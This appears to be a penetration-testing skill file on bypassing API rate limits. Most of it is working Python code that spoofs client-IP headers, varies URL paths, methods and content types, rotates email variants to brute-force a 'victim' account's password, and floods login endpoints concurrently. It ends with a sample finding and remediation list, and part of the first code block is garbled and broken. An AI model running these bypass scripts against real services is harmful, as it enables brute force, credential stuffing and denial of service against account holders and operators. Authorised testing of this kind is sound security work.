performing-api-rate-limiting-bypass

Tests API rate limiting for bypass vulnerabilities using Python (requests/aiohttp) and Burp Suite Turbo Intruder to manipulate headers (e.g. X-Forwarded-For spoofing), IPs, HTTP methods, API versions, and encodings, mapping findings to OWASP API4:2023 Unrestricted Resource Consumption. Use when assessing, under written authorization, whether rate limits can be bypassed to enable brute force or resource-exhaustion attacks.

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name	performing-api-rate-limiting-bypass
description	Tests API rate limiting for bypass vulnerabilities using Python (requests/aiohttp) and Burp Suite Turbo Intruder to manipulate headers (e.g. X-Forwarded-For spoofing), IPs, HTTP methods, API versions, and encodings, mapping findings to OWASP API4:2023 Unrestricted Resource Consumption. Use when assessing, under written authorization, whether rate limits can be bypassed to enable brute force or resource-exhaustion attacks.
domain	cybersecurity
subdomain	api-security
tags	["api-security","owasp","rate-limiting","throttling","brute-force","dos-prevention"]
version	1.0.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack	["T1190","T1059.007","T1552.001","T1027","T1055"]

Performing API Rate Limiting Bypass

When to Use

Testing whether API rate limiting can be circumvented to enable brute force attacks on authentication endpoints
Assessing the effectiveness of API throttling controls against credential stuffing or account enumeration
Evaluating if rate limits are enforced consistently across all API versions, methods, and encoding formats
Testing if API gateway rate limiting can be bypassed through header manipulation or IP rotation
Validating that rate limits protect against resource exhaustion and denial-of-service conditions

Do not use without written authorization. Rate limit testing involves sending high volumes of requests that may impact service availability.

Prerequisites

Written authorization specifying target endpoints and acceptable request volumes
Python 3.10+ with requests, aiohttp, and asyncio libraries
Burp Suite Professional with Turbo Intruder extension for high-speed testing
cURL for manual header manipulation testing
Knowledge of the target's CDN and WAF infrastructure (Cloudflare, AWS WAF, Akamai)
List of rate-limit bypass headers to test

Workflow

Step 1: Rate Limit Discovery and Baseline

Identify how rate limiting is implemented:

import requests
import time

BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}

# Send requests and track rate limit headers
def probe_rate_limit(endpoint, method="GET", count=100):
    results = []
    for i in range(count):
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers)
        rate_headers = {
            "limit": resp.headers.get("X-RateLimit-Limit")  resp.headers.get(),
            : resp.headers.get()  resp.headers.get(),
            : resp.headers.get()  resp.headers.get(),
            : resp.headers.get(),
            : resp.status_code
        }
        results.append(rate_headers)
         resp.status_code == :
            ()
             results, i+
        time.sleep()  
    ()
     results, count


login_results, login_threshold = probe_rate_limit(, , )
api_results, api_threshold = probe_rate_limit(, , )
search_results, search_threshold = probe_rate_limit(, , )

()
()
()
()

# Bypass Technique 1: Header-based IP spoofing
IP_SPOOFING_HEADERS = [
    "X-Forwarded-For",
    "X-Real-IP",
    "X-Original-Forwarded-For",
    "X-Originating-IP",
    "X-Remote-IP",
    "X-Remote-Addr",
    "X-Client-IP",
    "X-Host",
    "X-Forwarded-Host",
    "True-Client-IP",
    "Cluster-Client-IP",
    "X-ProxyUser-Ip",
    "Forwarded",
    "CF-Connecting-IP",
    "Fastly-Client-IP",
    "X-Azure-ClientIP",
    "X-Akamai-Client-IP",
]

def test_ip_spoofing_bypass(endpoint, method="POST", body=None):
    """Test if IP spoofing headers bypass rate limiting."""
    # First, trigger the rate limit normally
    for i in range(200):
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers, json=body)
        if resp.status_code == 429:
            print(f"Rate limit triggered at request {i+1}")
            break

    # Now test each spoofing header
    bypasses_found = []
    for header in IP_SPOOFING_HEADERS:
        spoofed_headers = {**headers, header: f"10.0.{i%256}.{(i*7)%256}"}
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=spoofed_headers, json=body)
        if resp.status_code != 429:
            bypasses_found.append(header)
            print(f"[BYPASS] {header} -> {resp.status_code}")

    return bypasses_found

login_body = {"username": "test@example.com", "password": "wrongpassword"}
bypasses = test_ip_spoofing_bypass("/auth/login", "POST", login_body)

# Bypass Technique 2: URL path variation
def test_path_variation_bypass(base_endpoint, token):
    """Test if path variations bypass rate limit tied to specific endpoint."""
    variations = [
        base_endpoint,                          # /api/v1/auth/login
        base_endpoint + "/",                    # /api/v1/auth/login/
        base_endpoint.upper(),                  # /API/V1/AUTH/LOGIN
        base_endpoint + "?dummy=1",             # /api/v1/auth/login?dummy=1
        base_endpoint + "#fragment",            # /api/v1/auth/login#fragment
        base_endpoint + "%20",                  # /api/v1/auth/login%20
        base_endpoint + "/..",                  # /api/v1/auth/login/..
        base_endpoint.replace("/v1/", "/v2/"),  # /api/v2/auth/login
        base_endpoint + ";",                    # /api/v1/auth/login;
        base_endpoint + "\t",                   # Tab character
        base_endpoint + "%00",                  # Null byte
        base_endpoint + "..;/",                 # Spring path traversal
    ]

    # Trigger rate limit on original endpoint first
    for i in range(200):
        resp = requests.post(f"{BASE_URL}{base_endpoint}",
                           headers={"Authorization": f"Bearer {token}"},
                           json={"username": "test", "password": "wrong"})
        if resp.status_code == 429:
            break

    # Test variations
    for variant in variations:
        try:
            resp = requests.post(f"{BASE_URL}{variant}",
                               headers={"Authorization": f"Bearer {token}"},
                               json={"username": "test", "password": "wrong"})
            if resp.status_code != 429:
                print(f"[BYPASS] Path variation: {variant} -> {resp.status_code}")
        except Exception:
            pass

test_path_variation_bypass("/auth/login", "<token>")

# Bypass Technique 3: Method and content-type switching
def test_method_bypass(endpoint, original_body):
    """Test if rate limit is method-specific."""
    methods_to_test = ["POST", "PUT", "PATCH", "GET", "OPTIONS"]

    content_types = [
        "application/json",
        "application/x-www-form-urlencoded",
        "multipart/form-data",
        "text/plain",
        "application/xml",
        "text/xml",
    ]

    # Trigger rate limit with POST + application/json
    for i in range(200):
        resp = requests.post(f"{BASE_URL}{endpoint}",
                           headers={**headers, "Content-Type": "application/json"},
                           json=original_body)
        if resp.status_code == 429:
            break

    # Test other methods
    for method in methods_to_test:
        if method == "POST":
            continue
        resp = requests.request(method, f"{BASE_URL}{endpoint}",
                              headers=headers, json=original_body)
        if resp.status_code not in (429, 405):
            print(f"[BYPASS] Method switch to {method}: {resp.status_code}")

    # Test other content types
    for ct in content_types:
        if ct == "application/json":
            continue
        test_headers = {**headers, "Content-Type": ct}
        if ct == "application/x-www-form-urlencoded":
            data = "&".join(f"{k}={v}" for k, v in original_body.items())
            resp = requests.post(f"{BASE_URL}{endpoint}", headers=test_headers, data=data)
        else:
            resp = requests.post(f"{BASE_URL}{endpoint}", headers=test_headers,
                               data=str(original_body))
        if resp.status_code != 429:
            print(f"[BYPASS] Content-Type {ct}: {resp.status_code}")

test_method_bypass("/auth/login", {"username": "test@example.com", "password": "wrong"})

# Bypass Technique 4: Rotate identifiers to avoid per-account limits
import string
import random

def test_account_rotation_bypass(login_endpoint, target_password_list):
    """Test if rate limit is per-account, bypassed by rotating usernames."""
    target_email = "victim@example.com"

    # Test 1: Per-account rate limit bypass by rotating the username field
    # with slight variations
    email_variations = [
        target_email,
        target_email.upper(),
        f" {target_email}",
        f"{target_email} ",
        target_email.replace("@", "%40"),
        f"+tag@".join(target_email.split("@")),  # victim+tag@example.com
    ]

    for password in target_password_list[:50]:
        for email_var in email_variations:
            resp = requests.post(f"{BASE_URL}{login_endpoint}",
                               json={"username": email_var, "password": password})
            if resp.status_code == 200:
                print(f"[SUCCESS] Logged in with: {email_var} / {password}")
                return True
            elif resp.status_code == 429:
                print(f"Rate limited on variation: {email_var}")
            # Small delay
            time.sleep(0.1)

    return False

# Bypass Technique 5: Parameter pollution
def test_parameter_pollution_bypass(endpoint):
    """Add extra parameters to make each request appear unique."""
    for i in range(200):
        random_param = ''.join(random.choices(string.ascii_lowercase, k=8))
        resp = requests.post(
            f"{BASE_URL}{endpoint}?{random_param}={i}",
            headers=headers,
            json={"username": "test@example.com", "password": f"attempt_{i}"}
        )
        if resp.status_code == 429:
            print(f"Parameter pollution failed at request {i+1}")
            return False
    print("[BYPASS] Parameter pollution: 200 requests without rate limit")
    return True

import asyncio
import aiohttp

async def distributed_rate_limit_test(endpoint, total_requests=1000, concurrency=50):
    """Test rate limiting under concurrent load."""
    results = {"success": 0, "rate_limited": 0, "errors": 0}

    async def make_request(session, request_num):
        try:
            # Rotate X-Forwarded-For per request
            req_headers = {
                **headers,
                "X-Forwarded-For": f"192.168.{request_num % 256}.{(request_num * 3) % 256}"
            }
            async with session.post(
                f"{BASE_URL}{endpoint}",
                headers=req_headers,
                json={"username": "test@example.com", "password": f"attempt_{request_num}"}
            ) as resp:
                if resp.status == 429:
                    results["rate_limited"] += 1
                elif resp.status in (200, 401):
                    results["success"] += 1
                else:
                    results["errors"] += 1
        except Exception:
            results["errors"] += 1

    connector = aiohttp.TCPConnector(limit=concurrency)
    async with aiohttp.ClientSession(connector=connector) as session:
        tasks = [make_request(session, i) for i in range(total_requests)]
        await asyncio.gather(*tasks)

    print(f"\nDistributed Test Results:")
    print(f"  Successful: {results['success']}")
    print(f"  Rate Limited: {results['rate_limited']}")
    print(f"  Errors: {results['errors']}")
    print(f"  Bypass Rate: {results['success']/(results['success']+results['rate_limited'])*100:.1f}%")

# asyncio.run(distributed_rate_limit_test("/auth/login"))

Term	Definition
Rate Limiting	Controlling the number of requests a client can make to an API within a time window, typically enforced per IP, per user, or per API key
Unrestricted Resource Consumption	OWASP API4:2023 - APIs that do not properly limit the size or number of resources requested, enabling DoS or brute force attacks
X-Forwarded-For Spoofing	Manipulating the X-Forwarded-For header to make the server believe requests originate from different IP addresses, bypassing IP-based rate limits
Credential Stuffing	Automated injection of stolen username/password pairs against login endpoints, requiring rate limit bypass for large-scale attacks
Token Bucket	Rate limiting algorithm that allows bursts of requests up to a bucket size, refilling at a constant rate
Sliding Window	Rate limiting algorithm that tracks requests in a rolling time window, more resistant to burst attacks than fixed windows

## Finding: Rate Limiting Bypass via X-Forwarded-For Header Spoofing

**ID**: API-RATE-001
**Severity**: High (CVSS 7.3)
**OWASP API**: API4:2023 - Unrestricted Resource Consumption
**Affected Endpoints**:
  - POST /api/v1/auth/login
  - POST /api/v1/auth/forgot-password
  - POST /api/v1/auth/verify-mfa

**Description**:
The API rate limiting implementation relies on the X-Forwarded-For header
to identify client IP addresses. Since the application sits behind a load
balancer that does not strip or validate this header, an attacker can set
arbitrary X-Forwarded-For values to bypass the 10 requests/minute rate limit
on authentication endpoints.

**Bypass Methods Confirmed**:
1. X-Forwarded-For rotation: 1000 login attempts in 60 seconds (vs 10 limit)
2. Trailing slash path variation: /auth/login/ treated as separate endpoint
3. API v2 endpoint: No rate limiting configured
4. Race condition: 50 concurrent requests, 45 succeed before counter updates

**Impact**:
An attacker can perform unlimited brute force attacks against any user
account, bypassing the rate limit designed to prevent credential stuffing.
At 1000 attempts per minute, a 6-digit PIN can be brute-forced in under
17 minutes.

**Remediation**:
1. Configure the load balancer to set X-Forwarded-For and strip client-provided values
2. Implement rate limiting at the application layer using authenticated user ID, not just IP
3. Normalize URL paths before applying rate limit rules (strip trailing slashes, enforce lowercase)
4. Apply rate limits consistently across all API versions and content types
5. Use atomic rate limit counters (Redis INCR) to prevent race conditions
6. Implement progressive delays (exponential backoff) in addition to hard limits